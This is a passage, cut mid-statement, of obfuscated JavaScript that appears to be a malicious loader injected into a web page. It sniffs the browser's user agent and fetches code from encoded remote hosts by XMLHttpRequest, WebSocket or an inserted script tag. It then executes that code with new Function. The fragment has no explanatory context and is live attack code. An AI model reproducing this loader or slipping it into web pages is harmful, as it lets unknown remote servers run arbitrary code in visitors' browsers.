Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};